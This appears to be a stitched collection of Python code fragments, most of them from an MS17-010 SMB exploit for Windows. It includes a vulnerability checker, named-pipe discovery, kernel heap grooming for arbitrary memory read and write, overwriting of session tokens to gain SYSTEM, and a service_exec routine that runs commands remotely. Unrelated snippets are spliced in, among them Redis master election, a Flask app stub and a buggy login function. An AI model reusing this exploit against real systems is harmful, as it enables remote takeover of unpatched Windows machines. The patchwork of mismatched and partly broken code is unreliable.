def get_group_data_from_token(info, tokenData): userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET'] # try with default offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # hack to fix XP SP0 and SP1 # I will avoid over-engineering a more elegant solution and leave this as a hack, # since XP SP0 and SP1 is the only edge case in a LOT of testing! if not success and info['os'] == 'WINXP' and info['arch'] == 'x86': logger.action('ATTEMPTING WINXP SP0/SP1 x86 TOKEN_USER_GROUP WOKRAROUND...') userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'] # try with hack offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # still no good. Abort because something is wrong if not success: logger.error('BAD TOKEN_USER_GROUP OFFSETS. ABORT > BSOD') sys.exit() # token parsed and validated return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
def checker(host): try: conn = MYSMB(host) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: logger.error('LOGIN FAILED: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: logger.info('CONNECTED TO {}'.format(logger.BLUE(host))) logger.info('TARGET OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.error('{} IS PATCHED!'.format(target)) sys.exit() logger.action('CHECKING NAMED PIPES...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('{}: OK (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('{}: OK (32 bit)'.format(pipe_name)) else: logger.success('{}: OK ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except: logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
def ms17_010(target): try: logger.info('Attempting to connect to: {}'.format(logger.BLUE(target))) conn = MYSMB(target, timeout=5) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: logger.error('Login failed, got error: ' + logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])) sys.exit() finally: logger.info('Found target OS: ' + logger.BLUE(conn.get_server_os())) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.error('{} IS PATCHED!'.format(logger.RED(target))) sys.exit() logger.action('Looking for the named pipes...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('{}: OK (64 bit)'.format(logger.GREEN(pipe_name))) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('{}: OK (32 bit)'.format(logger.GREEN(pipe_name))) else: logger.success('{}: OK ({})'.format(logger.GREEN(pipe_name), str(e))) dce.disconnect() except smb.SessionError as e: logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0]))) except smbconnection.SessionError as e: logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0]))) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except (KeyboardInterrupt, SystemExit): logger.error('Keyboard interrupt received..') sys.exit(-1) except: logger.error('Connection failed to: {}'.format(logger.RED(str(target))))
def main(): target = args.target logger.target(args.target) logger.alert('CONNECTING TO TARGET: {}'.format(logger.ORANGE(args.target))) if args.pipe: pipe_name = args.pipe logger.action('SKIPPING PIPE DISCOVERY') logger.alert('USING SPECIFIED PIPE: {}'.format(logger.ORANGE(args.pipe))) else: pipe_name = None try: exploit(target, pipe_name) logger.success('FINISHED!') except: logger.error('COULD NOT CONNECT TO {}'.format(target))
def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svcHandle = None try: logger.action("OPENING SVCManager ON %s..." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) logger.action('CREATING SERVICE %s...' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: logger.action('STARTING SERVICE %s...' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: logger.error(str(e)) logger.action('REMOVING SERVICE %s...' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception as e: logger.error("ServiceExec Error on: %s" % conn.get_remote_host()) logger.error(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect()
def select_master( candidates, alive_nodes, used_memory, slave_links ): if slave_links: candidates = slave_links candidate_list = build_memsorted_nodes( candidates, used_memory ) master = candidate_list[ 0 ][ 1 ] if slave_links: logger.action( "Electing master from slave_links with more used_memory: %s" % nodes_to_string( [ master ] ) ) else: logger.action( "Electing master with more used_memory: %s" % nodes_to_string( [ master ] ) ) try: r = redis.Redis( host = master[ 0 ], port = master[ 1 ] ) r.slaveof() except Exception, e: if str( e ).find( "Redis is loading data into memory" ) < 0: logger.error( "Error while master slaveof(): %s" % str( e ) )
def __process_quorum( self, alive_nodes, masters, slave_links, used_memory ): if not masters: logger.action( "No master nodes. Alive nodes: %s. Electing..." % nodes_to_string( alive_nodes ) ) select_master( alive_nodes, alive_nodes, used_memory, [] ) elif len( masters ) > 1: logger.action( "More than one master: %s. Electing one..." % nodes_to_string( masters ) ) select_master( masters, alive_nodes, used_memory, slave_links ) elif len( slave_links ) > 1 or ( slave_links and slave_links != set( masters ) ): logger.action( "Slaves are connected to different masters. Masters: %s. Slave links: %s. Selecting current master..." % ( nodes_to_string( masters ), nodes_to_string( slave_links ) ) ) configure_slaves( alive_nodes, masters[ 0 ] )
def login(self): users = SQLdo("SELECT * FROM users WHERE email = ?;", [self.email]) if len(user): user = users[0] if get_hash(user) == self.hash: self.id = get_id(user) self.name = get_name(user) action(self.id, "Logged in succesfully.") return True else: action(get_id(user), "Failed to provide the correct credentials.") return False else: action(self.email, "User not found") return False
def find_named_pipe(conn): pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ] tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') # found_pipe = None if args.pipe: pipe_name = args.pipe logger.action('USING SPECIFIED PIPE: {}'.format(args.pipe)) return found_pipe else: pipe_name = None logger.action('CYCLING THROUGH PIPES...') for pipe in pipes: logger.action('TRYING PIPE: {}'.format(pipe)) try: fid = conn.nt_create_andx(tid, pipe) conn.close(tid, fid) found_pipe = pipe break except smb.SessionError as e: pass conn.disconnect_tree(tid) return found_pipe
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(target)) else: logger.error('{} IS PATCHED!'.format(target)) sys.exit() logger.action('CHECKING NAMED PIPES...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('\t{}: OK (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('\t{}: OK (32 bit)'.format(pipe_name)) else: logger.success('\t{}: OK ({})'.format( pipe_name, str(e))) dce.disconnect() except smb.SessionError as e:
def __process_nonquorum( self, alive_nodes, masters ): if len( masters ) > 0 and alive_nodes == masters: logger.action( "Isolated master node: %s. Moving it to readonly slave..." % nodes_to_string( masters ) ) move_to_readonly( masters )
from flask import Flask, redirect, render_template, request, session, jsonify from flask_session import Session from logger import action, debug, critical import data.SQLHandler as sql action("SERVER", "Server session started.", True) app = Flask(__name__) app.config["SESSION_PERMANENT"] = False app.config["SESSION_TYPE"] = "filesystem" Session(app) @app.route("/") def index(): return render_template("index.html",title = "Homepage") recent_entries = sql.fetchInventory() @app.route("/inv") def inventory(): return render_template("inv.html", recent = recent_entries) @app.route("/reg") def reg(): return render_template("cheapregister.html",title = "Reg!") @app.route("/register", methods=["POST"])
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) logger.action('GETTING TARGET OPERATING SYSTEM...') server_os = conn.get_server_os() logger.alert('TARGET OS: {}'.format(logger.BLUE(server_os))) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: logger.error('EXPLOIT DOES NOT SUPPORT THIS TARGET...') sys.exit() if pipe_name is None: logger.action('GETTING PIPE...') pipe_name = find_named_pipe(conn) if pipe_name is None: logger.error('COULD NOT FIND NAMED PIPE...') return False logger.success('USING PIPE: {}'.format(pipe_name)) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] logger.action('CREATING SYSTEM SESSION TO SMB...') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] logger.info('CURRENT TOKEN ADDR: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) logger.action('OVERWRITING TOKEN UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) logger.action('OVERWRITING SESSION SECURITY CONTEXT') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ # try: smb_pwn(conn, info['arch']) # except: # pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
def exploit_fish_barrel(conn, pipe_name, info): # for Windows Vista/2008 and earlier tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) info['fid'] = fid if info['os'] == 'WIN7' and 'arch' not in info: # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture info.update(leak_frag_size(conn, tid, fid)) if 'arch' in info: # add os and arch specific exploit info info.update(OS_ARCH_INFO[info['os']][info['arch']]) attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ] else: # do not know target architecture # this case is only for Windows 2003 # try offset of 64 bit then 32 bit because no target architecture attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ] # ================================ # groom packets # ================================ # sum of transaction name, parameters and data length is 0x1000 # paramterCount = 0x100-TRANS_NAME_LEN logger.action('GROOM PACKETS') trans_param = pack('<HH', info['fid'], 0) for i in range(12): mid = info['fid'] if i == 8 else next_extra_mid() conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0) # expected transactions alignment # # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+ # | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 | # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+ # trans1 trans2 # ================================ # shift transaction Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte) # ================================ # Dangerous operation: attempt to control one transaction # ================================ # Note: POOL_ALIGN value is same as heap alignment value success = False for tinfo in attempt_list: logger.action('ATTEMPTING TO CONTROL NEXT TRANSACTION ON ' + tinfo['ARCH']) HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN'] NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='') if recvPkt.getNTStatus() == 0x10002: # invalid SMB logger.succes('SUCCESSFULLY CONTROLLED ONE TRANSACTION!') success = True if 'arch' not in info: logger.info('Target is '+tinfo['ARCH']) info['arch'] = tinfo['ARCH'] info.update(OS_ARCH_INFO[info['os']][info['arch']]) break if recvPkt.getNTStatus() != 0: logger.error('UNEXPECTED RETURN STATUS: 0x{:x}'.format(recvPkt.getNTStatus())) if not success: logger.error('UNEXPECTED RETURN STATUS: 0x{:x}'.format(recvPkt.getNTStatus())) logger.error('MAY HAVE WRITTEN TO THE WRONG PLACE') logger.error('TARGET NAY HAVE CRASHED') return False # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info. # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder # because of this unfreed memory chunk. I will avoid it. # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two # transactions (do not know the address). # After reading memory by modifying and completing trans2, trans2 cannot be used anymore. # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself. # To be able to modify trans1 struct, we need to use trans2 param or data but write backward. # On 32 bit target, we can write to any address if parameter count is 0xffffffff. # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only, # we also modify HIDWORD of InParameter to 0xffffffff. logger.action('MODIFYING PARAMTER COUNT TO 0xffffffff TO BE ABLE TO WRITE BACKWARDS') conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET']) # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too if info['arch'] == 'x64': conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) wait_for_request_processed(conn) TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT # modify paramterCount of first transaction conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET']) if info['arch'] == 'x64': conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) # restore trans2.InParameters pointer before leaking next transaction conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) wait_for_request_processed(conn) # ================================ # leak transaction # ================================ logger.action('LEAKING NEXT TRANSACTION') # modify TRANSACTION member to leak info # function=5 (NT_TRANS_RENAME) conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET']) # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET']) conn.send_nt_trans_secondary(mid=special_mid) leakData = conn.recv_transaction_data(special_mid, 0x100) leakData = leakData[4:] # remove param #open('leak.dat', 'wb').write(leakData) # check heap chunk size value in leak data if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']): logger.error('CHUNK SIZE IS WRONG...') return False # extract leak transaction data and make next transaction to be trans2 leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE leakTrans = leakData[leakTranOffset:] fmt = info['PTR_FMT'] _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8) inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET']) trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] logger.info('CONNECTION: 0x{:x}'.format(connection_addr)) logger.info('SESSION: 0x{:x}'.format(session_addr)) logger.info('FLINK: 0x{:x}'.format(flink_value)) logger.info('InData: 0x{:x}'.format(indata_value)) logger.info('MID: 0x{:x}'.format(trans2_mid)) trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2 logger.info('TRANS1: 0x{:x}'.format(trans1_addr)) logger.info('TRANS2: 0x{:x}'.format(trans2_addr)) # ================================ # modify trans struct to be used for arbitrary read/write # ================================ logger.action('modify transaction struct for arbitrary read/write') # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param) # - trans1.InData to &trans2. so we can modify trans2 with trans1 data # Note: HIDWORD of trans1.InParameter is still 0xffffffff TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN) conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans1.mid trans1_mid = conn.next_mid() conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) info.update({ 'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr, }) return True
def exploit_matched_pairs(conn, pipe_name, info): # for Windows 7/2008 R2 and later tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) info.update(leak_frag_size(conn, tid, fid)) # add os and arch specific exploit info info.update(OS_ARCH_INFO[info['os']][info['arch']]) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) logger.info('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) logger.info('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE'] # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break logger.error('LEAK FAILED! RETRYING...') conn.close(tid, fid) conn.disconnect_tree(tid) tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift transGroom.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB logger.error('UNEXPECTED RETURN STATUS: 0x{:x}'.format(recvPkt.getNTStatus())) logger.error('WRITTEN TO WRONG PLACE') logger.error('TARGET MAY HAVE CRASHED...') return False logger.success('SUCCESS CONTROLLING GROOM TRANSACTION') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ logger.action('MODIFYING TRANS1 STRUCT FOR READ/WRITE') fmt = info['PTR_FMT'] # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param) # - trans1.InData to &trans2. so we can modify trans2 with trans1 data conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) return True